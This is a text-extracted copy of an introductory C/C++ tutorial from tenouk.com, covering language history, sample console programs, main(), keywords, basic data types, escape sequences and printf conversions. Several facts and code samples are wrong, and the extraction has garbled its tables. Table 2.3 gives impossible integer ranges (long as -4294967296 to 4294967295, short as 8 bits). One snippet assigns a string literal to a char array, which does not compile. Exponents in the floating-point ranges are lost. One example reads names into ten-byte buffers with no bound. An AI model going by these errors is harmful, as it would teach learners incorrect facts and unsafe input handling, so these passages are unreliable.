Sie sind auf Seite 1von 2034

MODULE 1

INTRODUCTION

My Training Period: hours

Notes:
You can remove the system("pause"); and its stdlib.h header file (if applicable) in the program
examples. This code just to capture the console output for Borland C++ that was run through IDE. For Microsoft
Visual C++/.Net, Borland Turbo or running the program using Borland command line, gcc etc. no need to include
this code. For other compilers, please check their documentations.

Abilities

▪ Able to understand the brief history of the C/C++ language.


▪ Able to understand the C/C++ advantageous.
▪ Able to understand the basic program development cycle.
▪ Able to understand the basic structure of C/C++ program.
▪ Able to be familiar with writing codes, compiling and running a program.
▪ Able to recognize a portable main() function.
▪ Able to recognize the C and C++ standards: ANSI C/C++, ISO/IEC C/C++, POSIX and Single Unix
specification.

1.1 Brief History

- C evolved from two previous languages, BCPL (Basic Combined Programming Language) and B.
BCPL was developed in 1967 by Martin Richards as a language for writing operating systems software
and compilers.
- Ken Thompson modeled many features in his language, B, after their counterparts in BCPL and used B
to create early versions of UNIX operating system at bell Laboratories in 1970 on a DEC® PDP-7
computer.
- Both BCPL and B were typeless languages, that means the only data type is machine word and access
to other kinds of objects is by special operators or function calls.
- In C, the fundamental data type includes characters, integers of several sizes and floating point
numbers.
- The derived data types were created with pointers, arrays, structures, unions, functions and classes.
- The C language was evolved from B by Dennis Ritchie at Bell Laboratories and was originally
implemented on a DEC PDP-11 computer in 1972.
- It was named C for new language.
- Initially, C used widely as the development language of the UNIX. Today, virtually all new major OS
are written in C.
- C is hardware independent, so it is portable to most computers without or with little code modification.
- The rapid expansion of C over various types of computers led to many variations. These are similar but
incompatible.
- So, a standard version of C was needed. In 1983, the X3J11 technical committee was created under the
American National Standards Institute (ANSI) Committee on Computer and Information Processing
(X3) to provide an ambiguous and machine-independent definition of the language and approved in
1989, called ANSI C.
- The document is referred to as ANSI/ISO 9899:1990.
- The second edition of Kernighan and Ritchie, published in 1988, reflects this version called ANSI C,
then used worldwide. The more general ANSI then adopted by ISO/IEC, known as ISO/IEC C.
- Because C is a hardware-independent, applications written in C can be run with little or no
modifications on a wide range of different computer systems.

1.2 Advantageous

- Powerful and flexible language - What can be achieved is only limited by your imagination. It is used
for Operating System, compilers, parsers, interpreters, word processors, search engine and graphic
programs.
- Portable programming language - C program written for one computer system (an IBM® PC, for
example) can be compiled and run on another system (a DEC® VAX System perhaps with little or no
modification).
- Is a language of less keyword - Handful of terms called keywords in which the language’s functionality
is built. A lot of keywords doesn’t mean more powerful than C.

www.tenouk.com Page 1 of 11
- Modular - Written in routines called functions and classes (C++), can be reused in other applications or
programs.
- Preferred by professional programmers - So, a variety of C/C++ resources and helpful supports are
widely available.
- Standardized – Many standards have been documented, maintained and updated for C and C++ as
standard references for solving the portability and many other issues (please refer at the end of this
tutorial).

1.3 Very Basic Program Development

- Computer program is designed to solve problem. Nowadays it makes ease a lot of our works.
- The simple steps to find a solution to problems are the same steps used to write a program and basically
can be defined as follows:

1. Define the problem.


2. Devise a plan to solve it.
3. Implement the plan.
4. Test the result to see whether the problem is solved.

- When creating a program in C/C++:

1. Determine the objective(s) of the program.


2. Decide which method the program will use to solve the problem.
3. Translate this method into a computer program using the C/C++ language.
4. Run and test the program.

- Typical steps might be followed in a program development is listed below:

No Step Description
From a simple text editor up to complex Integrate Development
Environment (IDE). Examples:
UNIX: ed, ex, edit, emacs and vi.
Using an editor to Window OS: notepad, Microsoft Visual Studio/.Net®, Borland®
1
enter the source C++, Borland Turbo® C++, Borland Builder C++,
code BorlandX.
MSDOS®: editor.
OS/2®: E or EPM editor.
Computer can’t understand the roman alphabets like English words.
2 It only can understand machine language, 0’s and 1’s. The compiler
Using a compiler
perform this task, yields an object code (such as.obj or .o).
C/C++ has function library that contains object code (codes that has
been compiled) for predefined functions. These codes are ready to
be used and can be called in the main program such as printf()
3 Creating an function. They perform frequently needed tasks. Executable
executable file program can be run or executed. Before the executable program is
created, a program called linker (to link other object and library files
needed by the main program) performs a process called linking.
Running/executing Running the executable file/image. If there is no error, that is your
4
the program program! (a running program or a process).
Debug, debug and debug, finding program bugs, this is in debug
mode.
Alfa version - May still contains bugs, pre-release version.
Beta / RC, Release Candidate version - May still contains bugs, pre-
5 Debugging
release version.
Final release – Release mode or release/Retail version (in reality,
still have bugs:o)), but don’t worry Patches and Service Packs will
fix that.)
6 Release/Distribution Creating the installation program for distribution.

- Typically, these basic steps are illustrated in figure 1.1 and quite a complete story can be found in
Module W.

www.tenouk.com Page 2 of 11
- Most of the editor used nowadays called Integrated Development Environment (IDE) that combines the
process of compiling, linking, running, debugging, code validation, standard conformance and other
functionalities in one environment such as Borland® C++ Builder and Microsoft Visual
Studio®/.Net®.
- Keep in mind that there are other extensions for the C/C++ program other than the .c, .cpp and .h.
You have to check your compiler documentations or you can read the story in Module W of this
Tutorial.
- Bear in mind also the real program development actually consist of a team of programmers, system
analysts, project leader etc.
- Individually, how many lines of codes that we can write huh? So be real when you use this Tutorial for
learning C and C++ :o).

1.4 Object Oriented Programming

- C++ is a C superset was developed by Bjarne Stroustrup at Bell Laboratories (some call advanced C)
and the ANSI C++ (ISO/IEC C++) standard version is also already available.
- C++ provides a number of features that spruce up the C language mainly in the object-oriented
programming aspects and data type safety (which lack in C language). Though if you have studied the
C++, you will find that the type safety of the C++ also not so safe :o) actually the secure codes depend
on the programmers themselves (C++ discussed in Tutorial #3).
- Object are essentially reusable software components that model items in the real world.

www.tenouk.com Page 3 of 11
- Using a modular, object-oriented design and implementation, can speed up the program development
and make the same software development group, up to many times more productive than the
conventional programming techniques.
- Then, the evolution of the C++ continues with the introduction of the Standard Template Library
(STL). STL deal mainly with data structure processing and have introduced the using of templates.
From procedural programming to object oriented programming, STL has introduced generic
programming.
- Then we have Common Language Runtime (CLR) type of the programming language, something
like Java (through the Java Virtual Machine – JVM) and the equivalent one from Microsoft is C#.

1.5 Sample of Simple Program Examples

- Let explore the basic structure of the C/C++ as shown in following section, before we proceed to the
next Module. Don’t worry about what the codes will do; just type or copy-paste and run the program.
- The program start with what is called preprocessor directive, #include.
- Then the main program start, with keyword main(), each program must have a main() function.
- All the coding is included in the body of the main program in the curly braces { } and } end the coding
for the program.
- Try all the sample programs given. Be familiar with the writing codes, compiling, running and your
IDE programming environment.

Program Examples – Warming up!

- Your task is to write the source code, compile and run. Notice that you only have to change some of
the codes in the curly braces { } and adding or deleting the preprocessor directive to complete all the
examples.
- Learn how to modify the program source code and re run the program. You will learn a lot more
things!
- Please refer to the Kick Start: Using Compilers section, in order to write, compile and run your Win32
Console Mode Application program using Borland® or Microsoft Visual Studio®/.Net® product or
whatever compiler you are familiar with.

Example #1

- For starting, first step we just create the program skeleton. Try to compile and run the simple program.
Make sure there is no error. Notice the line of code that span on multiple lines. Keep it on one line.
- Don’t worry about any syntax or standard violation; you will be prompted by your compiler through
warnings and/or errors :o).
- Keep in mind that, typing the codes, is dealing with character set, laid out on your keyboard whether it
is ASCII, EBCDIC, Unicode or proprietary character set :o).
- And C/C++ programs only deal with the characters, strings and mathematical expressions.

//The simplest program example


//preprocessor directives - header files
#include <iostream.h>
#include <stdlib.h>

//main() function with no argument


//and int return value…
int main( )
{
cout<<"testing 1..2..3..\n";
//system call ‘pause’
//command to wait temporarily for user action
//by calling the system pause command
//pause is Borland specific, for other compilers you may
//discard this and its header <stdlib.h>
system("pause");
//return to Operating System, no error
return 0;
}

Output:

www.tenouk.com Page 4 of 11
- Next step we add other lines of code. Recompile and rerun.

//Program to calculate total based on the


//given quantity and price
//preprocessor directives - header files
#include <iostream.h>
#include <stdlib.h>

//main() function with no argument


//and int return value…
int main(void)
{
//variables declaration and
//their respective the data types
int quantity;
float price, total;

cout<<"testing 1..2..3..\n";
//standard output - read from user input
cout<<"\nEnter the item's price: RM ";
//standard input - store user's input at variable price
cin>>price;
cout<<"\nEnter the item's quantity: ";
cin>>quantity;

//multiply quantity and price


//store the result at total…
total = quantity * price;
//Print the total value
cout<<"\nTotal price = RM "<<total<<endl;
system("pause");
return 0;
}

Output:

Example #2

//Simple greeting program using an array, pointer and selection


//you will learn more about array, pointer and selection later.
//The following #include … called preprocessor directive/header files.
//Means include the iostream.h file so that the compiler can find the
//definition for the cin and cout, then the cin and cout can function properly
#include <iostream.h>
//for system()
#include <stdlib.h>

int main(void)
{
//normal variable and array with their respective data type
char name[10], name1[10], sex;
cout<<"\nEnter your first name (max 10 characters): ";
cin>>name;

cout<<"Enter your last name (max 10 characters): ";


cin>>name1;

www.tenouk.com Page 5 of 11
cout<<"\nEnter your sex (M or F): ";
cin>>sex;

//test whether male or female


if (sex == 'M')
//array name without brackets is the pointer to the first
//array's element
cout<<"\nHow are you, Mr. "<<name<<" "<<name1<<endl;
else
cout<<"\nHow are you, Ms/Mrs "<<name<<" "<<name1<<endl;
system("pause");
return 0;
}

Output:

Example #3

//one line comment in program, C++


/*multiple lines comment, C - Program to display
square and square root for a given number*/
#include <math.h> /*for sqrt() function*/
#include <stdio.h>
#include <stdlib.h> //for system()

int main( )
{
/*variable named x and floating-point data type*/
float x;

/*standard output*/
printf("\nEnter one positive number (1, 2, 3. . .): ");
/*standard input*/
scanf("%f", &x);

printf("\nx = %f ", x);


printf("\nSquare for x is = %f", x * x);
//sqrt() is the predefined function, defined in math.h
printf("\nSquare root for x is = %f\n", sqrt(x));
system("pause");
return 0;
}

Output:

Example #4

/*Simple mathematics calculation*/


//header files…
#include <stdio.h>

www.tenouk.com Page 6 of 11
#include <stdlib.h>

//main() function…
int main( )
{
//variables declaration
int x, y, z;

//variables initialization
//assign 20 to variable x…
//or put the value of 20 in memory location labeled by x
x = 20;
y = 2;

printf("Given x = 20, y = 2\n");


printf("\nx / y = %d", x / y);
//do some calculation
x = x * y;
y = y + y;
printf("\nx = x * y");
printf("\ny = y + y");
printf("\nNew value for x / y = %d", x / y);
z = 20 * y / x;
printf("\nz = 20 * (y / x) = %d\n", z);
system("pause");
return 0;
}

Output:

Example #5

//Another simple mathematics calculation


#include <iostream.h>
#include <stdlib.h>

int main(void)
{
//variables declaration
//variable names and type
float a, b, c;

//variables initialization
a = 2.0;
b = 5.0;
c = b / a;

cout<<"\nGiven a = 2.0, b = 5.0, c = b/a";


cout<<"\nc = "<<c;
c = c + (a/b);
cout<<"\nc = c + (a/b) = "<<c<<endl;

//call the predefined function


//for Borland...
system("pause");
return 0;
}

Output:

www.tenouk.com Page 7 of 11
Example #6

//another mathematics calculation


#include <iostream.h>
#include <stdlib.h>

int main(void)
{
float x, y, z;

//Display for user data on standard output, screen


cout<<"\nKey in 1st positive integer, then press Enter key: ";
//Read the data from standard input, keyboard
cin>>x;
cout<<"Key in 2nd positive integer, then press Enter key: ";
cin>>y;
cout<<"Key in 3rd positive integer, then press Enter key: ";
cin>>z;
cout<<"\nAverage for three numbers is \n";
cout<<"\n = ("<<x<<"+"<<y<<"+"<<z<<")/3 = "<<(x+y+z)/3<<"\n";
system("pause");
return 0;
}

Output:

- Previous program example compiled using VC++/VC++ .Net. You can discard the system("pause");
and its header file <cstdlib>.

//Previous example compiled using


//VC++/VC++ .Net...using C header in C++
#include <iostream>
#include <cstdlib>
using namespace std;

int main(void)
{
float x, y, z;

//Display for user data on standard output, screen


cout<<"\nKey in 1st positive integer, then press Enter key: ";
//Read the data from standard input, keyboard
cin>>x;
cout<<"Key in 2nd positive integer, then press Enter key: ";
cin>>y;
cout<<"Key in 3rd positive integer, then press Enter key: ";
cin>>z;
cout<<"\nAverage for three numbers is \n";
cout<<"\n = ("<<x<<"+"<<y<<"+"<<z<<")/3 = "<<(x+y+z)/3<<"\n";
system("pause");

www.tenouk.com Page 8 of 11
return 0;
}

Output:

- A programming language enforces a set of rules, symbols and special words used to construct a
program.
- A set of rules that precisely state the validity of the instructions used to construct C/C++ program is
called syntax or C/C++ grammar.
- The correctness of the instructions used to write C/C++ program is called semantics.
- These set of rules for instructions validity and correctness are monitored or guarded by the compilers.

1.6 The main() function

- According to the C/C++ standard, only two definitions of main() functions are portable:

int main()
{
return 0;
}

- And

int main (int argc, char* argv[])


{
return 0;
}

- Where:

Is an argument count that is the number of command line


argc
arguments the program was invoked with.
Is an argument vector that is a pointer to an array of character
argv[]
strings that contain the arguments, one per string.

- The following is a program example when you issue echo command at the command prompt.

//echo command-line arguments


//program example
#include <stdio.h>

int main(int argc, char *argv[])


{
int x;
for(x = 1; x < argc; x++)
printf("%s%s", argv[x],(x<argc-1) ? " ": "");

www.tenouk.com Page 9 of 11
printf("\n");
return 0;
}

- Note that the return type int is required because the implicit int is deprecated.
- You may, but are not a mandatory to end main() function with a return statement. Unlike C, for
C++ the standard defines an implicit:

return 0;

- At the end of main() function. Remember that 0 is an integer.


- This means that every program that leaves main() function without a return statement is assumed
successful, that mean returning integer 0 and any value other than 0 represents a failure.
- Note that some compilers might generate a warning or error message regarding this thing and some
compiler may need to explicitly put the void if there is no return or empty return statement as shown
below:

void main()
{...}

- Or something like this:

void main()
{
return;
}

- The detail discussion of the main() and command line arguments is discussed in ModuleY and
Module 8, section 8.9.
- Steps needed to create a Windows portable executable (PE) file for empty Win32 console mode
application is explained HERE.
- The following example shows the compiling, linking and running a C program using gcc. For
complete commands and examples for gcc, gdb and g++ please refer to Module000. Other utility
and gdb can be found in Module111.
- Whenever needed, program examples compiled using gcc and g++ also included at the end of each
Module of this tenouk.com Tutorial and for this Module is shown in the following example.

[bodo@bakawali ~]$ vi simath.c


/*Simple mathematics calculation-simath.c*/
//header files.
#include <stdio.h>
#include <stdlib.h>

//main() function.
int main( )
{
//variables declaration
int x, y, z;

//variables initialization
//assign 20 to variable x.
//or put the value of 20 in memory location labeled by x
x = 20;
y = 2;

printf("Given x = 20, y = 2\n");


printf("\nx / y = %d", x / y);
//do some calculation
x = x * y;
y = y + y;
printf("\nx = x * y");
printf("\ny = y + y");
printf("\nNew value for x / y = %d", x / y);
z = 20 * y / x;
printf("\nz = 20 * (y / x) = %d\n", z);
return 0;
}

[bodo@bakawali ~]$ gcc simath.c -o simath


[bodo@bakawali ~]$ ./simath
Given x = 20, y = 2

www.tenouk.com Page 10 of 11
x / y = 10
x = x * y
y = y + y
New value for x / y = 10
z = 20 * (y / x) = 2

- Quite a complete gcc (GNU Compiler Collection), gdb (GNU Debugger) and Gas (GNU assembler)
commands and examples can be found in Module000 and Module111.

--------------------------------------------o0o-----------------------------------------------

Further reading and digging:

1. Check the best selling C/C++ books at Amazon.com.


2. Get the latest C/C++ standards reference. You can download or read online the specifications at the
following links. These links are very useful if you want the update information such as new features,
obsolete items etc. ISO/IEC is covering ANSI and is more general.

i. ISO/IEC 9899 (ISO/IEC 9899:1999) - C Programming language.


ii. ISO/IEC 9945:2002 POSIX standard.
iii. ISO/IEC 14882:1998 on the programming language C++.
iv. ISO/IEC 9945:2003, The Single UNIX Specification, Version 3.
v. Get the GNU C library information here.
vi. Read online the GNU C library here.

3. For the use of the standard and non-standard header files with different compilers and mixing C and C++
codes and libraries, please refer to Module 23, mainly Section 23.3 and above. If you are a beginner, it is
better for you to read this chunk first.

www.tenouk.com Page 11 of 11
MODULE 2
PROGRAM STRUCTURE
AND BASIC DATA TYPES

My Training Period: hours

Note: ANSI C refers to ISO/IEC C.

Abilities

▪ Able to understand the basic structure of the C / C++ program.


▪ Able to understand and use the basic data types.
▪ Able to recognize and use the keywords and variables.
▪ Able to understand and use the constant, character and escape sequence.
▪ Able to understand and use the C typecasting/promotion.

2.1 A Program

- C / C++ programs consist of functions, one of which must be main(). Every C / C++ program begins
execution at the main() function.

2.2 Program Keywords / Reserved Words

- The keywords used in C / C++ have special meaning to the compiler. The programmer can’t use these
words for identifiers such as variable names.
- The following table is a list of keywords used in ANSI C.

Keyword Description
An automatic storage class for automatic variable. Normally not explicitly
auto
used.
Used to force an immediate exit from while, for, do loops and switch-
break
case statement.
case A label used together with switch statement for selection.
char A single byte data type, capable holding one character in the character set.
A qualifier used to declare variable to specify that its value will not be
const
changed.
Related to break statement, causes the next iteration of the enclosing for,
continue
while or do loop to begin. Applies only to loops, not to switch statement.
An optional label used together with case label. When there is no case
default
expression matched, default label expression will be executed.
Used in do-while loop, repetition where the test condition is at the end of
do
the loop body.
double A double-precision floating point.
elif #elif. Preprocessor statement for else-if.
else Used together with if (if-else) for conditional execution.
endif #endif. Preprocessor statement for end-if.
Used in declaring enumeration constant. Enumeration is a list of constant
enum
integer values.
External storage class. External to all function or globally accessible variable.
extern
Variable declared with extern can be accessed by name by any function.
float Used when declaring floating-point data type.
for Used in the repetition loop.
goto A program control statement for branching/jumping to.
Used for conditional execution, standalone or with else. #if used for
if
conditional inclusion of the preprocessor directive.
ifdef #ifdef, if defined; test whether a name is defined.
ifndef #ifndef, if not defined; test whether a name is not defined.
int An integer data type, the size of normal integers.
A qualifier (long and short) applied to basic data types. short – 16 bits,
long
long-32 bits, int either 16 or 32 bits.

www.tenouk.com Page 1 of 29
Another storage class specifier. Used to advise the compiler to place the
register variables in machine’s processor register instead of machine’s memory but it is
not a mandatory for the compiler.
Used to return a value from the called function to its caller. Any expression
can follow return. The calling function is free to ignore the returned value
return
and can be no expression after return (no value is returned). For main(),
return will pass to system environment, operating system if there is no error.
A qualifier (long and short) applied to basic data types. short – 16 bits,
short
long-32 bits, int either 16 or 32 bits.
A qualifier may be applied to char or any integer. For example, signed
int. Including the positive and negative integers. For example, integer
signed
equivalent range for signed char is -128 and 127 (2’s complement
machine).
An operator. Shows the number of bytes (occupied or) required to store an
sizeof object of the type of its operand. The operand is either an expression or a
parenthesized type name.
A storage class specifier. Local variables (internal variables) that retain their
values throughout the lifetime of the program. Also can be applied to external
variables as well as functions. Functions declared as static, its name is
static
invisible outside of the file in which it is declared. For an external variables or
functions, static will limit the scope of that objects to the rest of the source file
being compiled.
A structure specifier for an object that consist a sequence of named members of
struct
various types.
Used in a selection program control. Used together with case label to test
switch whether an expression matches one of a member of case’s constant integer
and branches accordingly.
typedef Used to create new data type name.
A variable that may hold (at different time) objects of different types and
union
sizes. If at the same time, use struct.
A qualifier may be applied to char or any integer. For example, unsigned
unsigned int. Including the positive integers or zero. For example, integer equivalent
range for unsigned char is 0 and 255.
Data type that specifies an empty set of values or nonexistence value but
void pointers (pointers to void) may be assigned to and from pointers of type
void *.
A qualifier used to force an implementation to suppress optimization that could
volatile
otherwise occur.
while Used for conditional loop execution. Normally together with the do.

Table 2.1: ANSI C Keywords

- The following table is a list of C++ keywords; most of the keywords will be used in Tutorial #2 and #3.

Keywords Brief descriptions


Using or inserting assembly language in C++, refer to your
asm
compiler documentation support.
catch Exception handling generated by a throw keyword.
To declare Boolean logic variables; that is, variables which can be
bool
either true or false.
class Define a new class then objects of this class can be instantiated.
const_cast To add or remove the const or volatile modifier from a type.
Destroy an object in memory dynamically, created by using
delete
keyword new.
Convert a pointer or reference to one class into a pointer or
dynamic_cast reference to another class using run time type information (rtti).
(Converts a pointer to a desired type.
Used to avoid a single argument constructor from defining an
explicit
automatic type conversion in class declaration.

www.tenouk.com Page 2 of 29
false The Boolean value of "false".
Declare a function or class to be a friend of another class providing
friend
the access of all the data members and member function of a class.
Asking the compiler that certain function should be generated or
inline
executed inline instead of function call.
The mutable keyword overrides any enclosing const statement. A
mutable
mutable member of a const object can be modified.
namespace Keyword used to create a new scope.
Dynamically allocate a memory object on a free store, that is an
new extra memory that available to the program at execution time and
automatically determine the object's size in term of byte.
operator Declare an overloaded operator.
A class member accessible to member functions and friend
private
functions of the private member's class.
protected members may be accessed by member functions of
protected
derived classes and friends of derived classes.
public A class member accessible to any function.
Replaces casts for conversions that are unsafe or implementation
reinterpret_cast
dependent.
static_cast Converts types between related types.
template Declare how to construct class or function using variety of types.
A pointer implicitly declared in every non-static member
this function of a class. It points to the object for which this member
function has been invoked.
Transfer control to an exception handler or terminate program
throw
execution if appropriate handler cannot be located.
true The Boolean value of "true".
Creates a block that containing a set of statements that may
generate exceptions, and enables exception handling for any
try
exceptions generated (normally used together with throw and
catch).
typeid Gets run-time identification of types and expressions.
Used to qualify an identifier of a template as being a type instead of
typename
a value.
using Used to import a namespace into the current scope.
virtual Declare a virtual function.
wchar_t Used to declare wide character variables.

Table 2.2: C++ Keywords

- One way to master C/C++ programming is to master the keywords and usages :o).

2.3 Identifiers

- Simply references to memory locations, which can hold values (data).


- Are formed by combining letters (both upper and lowercase), digits (0–9) and underscore ( _ ).
- Rules for identifier naming are:

1. The first character of an identifier must be a letter, an underscore ( _ ) also counts as a letter.
2. The blank or white space character is not permitted in an identifier.
3. Can be any length. Internal identifier (do not have the external linkage) such as preprocessor
macro names at least the first 31 characters are significant, also implementation dependent.
4. Reserved words/keywords and characters such as main and # also cannot be used.

2.4 Variables

- Identifier that value may change during the program execution.


- Every variable stored in the computer’s memory has a name, a value and a type.
- All variable in a C / C++ program must be declared before they can be used in the program.
- A variable name in C / C++ is any valid identifier, and must obey the rules mentioned above.

www.tenouk.com Page 3 of 29
- Initializing a variable means, give a value to the variable, that is the variable’s initial value and can be
changed later on.
- Variable name are said to be lvalue (left value) because they can be used on the left side of an
assignment operator.
- Constant are said to be rvalue (right value) because they only can be used on the right side of an
assignment operator. For example:

x = 20;
x is lvalue, 20 is rvalue.

- Note that lvalue can also be used as rvalue, but not vice versa.
- Notation used in C / C++ can be Hungarian Notation or CamelCase Notation. The information for
these notations can be found HERE.

Example of the variable declaration

int x, y, z;
short number_one;
long Type0fCar;
unsigned int positive_number;
char Title;
float commission, yield;

General form:

data_type variable_list;
Note the blank space.

Declaring and initializing variables examples:

int m, n = 10;
char * ptr = "TESTING";
float total, rate = 0.5;
char user_response = ‘n’;
char color[7] = "green";

Or declare and then initialize:

int m, n;
float total, rate;
char user_response;
char color[7];

n = 20;
rate = 4.5;
user_response = ‘n’;
color = "green";

2.5 Basic Data types

- Why we need to learn data types? Every variable used in program hold data, and every data must have
their own type. It is the way how we can ‘measure’ the variable’s data value as exist in the real world.
Further more by knowing the data range, we can use data efficiently in our program in term of memory
management (storage allocation) aspects.
- For example, no need for us to reserve a lot of storage space such as a long data type if we just want
to store a small amount of data, let say, int data type.
- Every data in C / C++ has their own type. There are basic data type and derived data type. This
Module deals with basic data type.
- There are two kinds of basic data type: integral (integer value) and floating (real number). char data
type classified in integral type.
- Derived data types will be presented in another Module. Derived data type including the aggregate
data type is constructed from basic data type such as arrays, functions, pointers, structures, unions and
other user defined data types. Basic data type (int, char and float) and their variation are shown
in Table 2.3. 2.4 and 2.5.

www.tenouk.com Page 4 of 29
Data type Keyword Bits Range
integer int 16 -32768 to 32767
long 32 -4294967296 to 4294967295
long
integer
short 8 -128 to 127
short
integer
unsigned 16 0 to 65535
unsigned
integer
character char 8 0 to 255
floating 32 approximately 6 digits of
float
point precision
double 64 approximately 12 digits
floating double of precision
point

Table 2.3: Basic data type

- The following tables list the sizes and resulting ranges of the data types based on IBM PC compatible
system. For 64 bits, the size and range may not valid anymore :o).

Type Size (bits) Range Sample applications


Small numbers and full PC
unsigned char 8 0 to 255
character set
Very small numbers and ASCII
char 8 -128 to 127
characters
enum 16 -32,768 to 32,767 Ordered sets of values
unsigned int 16 0 to 65,535 Larger numbers and loops
Counting, small numbers, loop
short int 16 -32,768 to 32,767
control
Counting, small numbers, loop
int 16 -32,768 to 32,767
control
unsigned long 32 0 to 4,294,967,295 Astronomical distances
-2,147,483,648 to
long 32 Large numbers, populations
2,147,483,647
float 32 3.4-1038 to 3.41038 Scientific (7-digit precision)
-10308 10308 Scientific (15-digit
double 64 1.7 to 1.7
precision)
-104932
long double 80 3.4 to 1.1104932 Financial (18-digit precision)
near pointer 16 Not applicable Manipulating memory addresses
Manipulating addresses outside
far pointer 32 Not applicable
current segment

Table 2.4: C++ 16-bit data types, sizes, and ranges

Type Size (bits) Range Sample applications


Small numbers and full PC
unsigned char 8 0 to 255
character set
Very small numbers and ASCII
char 8 -128 to 127
characters
Counting, small numbers, loop
short int 16 -32,768 to 32,767
control
unsigned int 32 0 to 4,294,967,295 Large numbers and loops
-2,147,483,648 to Counting, small numbers, loop
int 32
2,147,483,647 control
unsigned long 32 0 to 4,294,967,295 Astronomical distances
-2,147,483,648 to
enum 32 Ordered sets of values
2,147,483,647
-2,147,483,648 to
long 32 Large numbers, populations
2,147,483,647
-1038 Scientific (7-digit)
float 32 3.4 to 1.71038
precision)
-10308 Scientific (15-digit
double 64 1.7 to 3.410308
precision)
-104932
long double 80 3.4 to Financial (18-digit

www.tenouk.com Page 5 of 29
1.1104932 precision)

Table 2.5: C++ 32-bit data types, sizes, and ranges

- We are very familiar with integer constants that are the base 10 numbers, 0 – 9. There are other bases
such as 16, 8 and 2 numbers that we will encounter when learning programming.
- Octal integer constants must start with 0 followed by any combination of digits taken from 0 through
7. For examples:

0 07 0713 ← represent octal numbers

- Hexadecimal integer constants must start with 0x or 0X (capital hexadecimal) followed by any
combination of digits taken from 0 through 9 and uppercase letters A through F. For examples:

0x 0x8 0XADC 0X2FD ← represent hexadecimal numbers

- The literal data-type qualifiers bring different means for same constant data. For example:

▪ 75 mean the integer 75, but 75L represents the long integer 75.
▪ 75U means the unsigned integer 75.
▪ 75UL means the unsigned long integer 75.
▪ 4.12345 mean the double value 4.12345, but 4.12345F represents the float value
4.12345.

2.6 Escape Sequence

- The backslash (\) is called an escape character. When the backslash is encountered, function such as
printf() for example, will look ahead at the next character and combines it with the backslash to
form an escape sequence, used in functions printf() and scanf().
- Table 2.6 is the list of the escape sequence.

Code Code Meaning


\a Audible bell
\t Horizontal tab
\b Backspace
\\ Backslash character
\f Formfeed
\’ Single quote character
\n Newline
\" Double quote character
\r Carriage return
\0 NULL, ASCII 0

Table 2.6: Escape sequence

- For general C++ escape sequences are given in the following table. Besides using the sequence, we
also can use their value representation (in hexadecimal) for example \0x0A for newline.

Sequence Value (hex) Char What it does


\a 0x07 BEL Audible bell
\b 0x08 BS Backspace
\f 0x0C FF Formfeed
\n 0x0A LF Newline (linefeed)
\r 0x0D CR Carriage return
\t 0x09 HT Tab (horizontal)
\v 0x0B VT Vertical tab
\\ 0x5c \ Backslash
\' 0x27 ' Single quote (apostrophe)
\" 0x22 " Double quote
\? 0x3F ? Question mark
\o any o=a string of up to three octal digits
\xH any H=a string of hex digits

www.tenouk.com Page 6 of 29
\XH any H=a string of hex digits

Table 2.7: Example of Borland C++ escape sequence

2.7 Constants

- Values that do not change during program execution.


- Can be integer, character or floating point type.
- To declare a constant, use keyword const as shown in the following variable declaration example:

const int day_in_week = 7;


const float total_loan = 1100000.35;

2.8 Character and String Constants

- A character constant is any character enclosed between two single quotation marks (' and ').
- When several characters are enclosed between two double quotation marks (" and "), it is called a
string.
- Examples:

Character constants:

'$' '*' ' ' 'z' 'P'

String constants, note that the blank space(s) considered as string:

"Name: "
"Type of Fruit"
"Day: "
" "

- You will learn other aggregate or derived data type specifiers such as struct, union, enum and
typedef in other Modules or in the program examples.

2.9 C Typecasting and Type Promotion

- During the program development, you may encounter the situations where you need to convert to the
different data type from previously declared variables, as well as having mixed data type in one
expression.
- For example, let say you have declared the following variables:

int total, number;


float average;

- But in the middle of your program you encountered the following expression:

average = total / number;

- This expression has mixed data type, int and float. The value of the average will be truncated, and
it is not accurate anymore. Many compilers will generate warning and some do not, but the output will
be inaccurate.
- C provides the unary (take one operand only) typecast operator to accomplish this task. The previous
expression can be re written as

average = (float) total / number;

- This (float) is called type cast operator, which create temporary floating-point copy of the total
operand. The construct for this typecast operator is formed by placing parentheses around a data type
name as:

(type) such as (int), (float) and (char).

- In an expression containing the data types int and float for example, the ANSI C standard specifies
that copies of int operands are made and promoted to float.

www.tenouk.com Page 7 of 29
- The cast operator normally used together with the conversion specifiers heavily used with printf()
and scanf(). C’s type promotion rules specify how types can be converted to other types without
losing the data accuracy.
- The promotion rules automatically apply to expressions containing values of two or more different data
type in mixed type expression. The type of each value in a mixed-type expression is automatically
promoted to the highest type in the expression.
- Implicitly, actually, only a temporary version of each new value (type) is created and used for the
mixed-type expression, the original value with original type still remain unchanged.
- Table 2.8 list the data types in order from highest to lowest type with printf and scanf conversion
specifications for type promotion
- From the same table, type demotion, the reverse of type promotion is from lowest to highest. Type
demotion will result inaccurate value such as truncated value. Program examples for this section are
presented in formatted file input/output Module.
- This issue is very important aspect to be taken care when developing program that use mathematical
expressions as well as when passing argument values to functions.
- C++ has some more advanced features for typecasting and will be discussed in Typecasting Module.

printf conversion scanf conversion


Data type
specification specification
long double %Lf %Lf
double %f %lf
float %f %f
unsigned long int %lu %lu
long int %ld %ld
unsigned int %u %u
int %d %d
short %hd %hd
char %c %c

Table 2.8: type promotion precedence, top = highest

- A length modifier is listed in the following table.

Modifier Description
l (letter ell) Indicates that the argument is a long or unsigned long.
L Indicates that the argument is a long double.
Indicates that the corresponding argument is to be printed as a short or
h
unsigned short.

Table 2.9: Length modifier

- The following table is a list of the ANSI C formatted output conversion of the printf() function,
used with %. The program examples are presented in Module 5.

Character Argument type Converted to


c int single character, after conversion to unsigned char.
d, i int Signed decimal notation.
Decimal notation of the form [-]m.de±xx or [-
]m.dE±xx, where the number of d is specified by the
e, E double
precision. 6 is the default precision, 0 suppresses the decimal
point. Example: -123.434E-256.
Decimal notation of the form [-]m.d, where the d is
f double specified by the precision. 6 is the default precision, 0
suppresses the decimal point. Example: 234.123456.
%e or %E is used if the exponent is less than -4 or greater than
g, G double or equal to the precision; otherwise %f is used. Trailing zeros
or a trailing decimal point is not printed.
The number of characters written so far by this call to
n int * printf() is written into the argument. No argument is
converted.
o int Unsigned octal notation (without a leading zero).
p void Print as a pointer (implementation dependent).

www.tenouk.com Page 8 of 29
Characters from the string are printed until ‘\0’ is reached or
s char * until the number of characters indicated by the precision has
been printed.
u int Unsigned decimal notation.
Unsigned hexadecimal notation (without a leading 0x or 0X),
x, X int
use abcd for 0x or ABCD for 0X.
% - No argument is converted; just print a %.

Table 2.10: printf() formatted output conversion

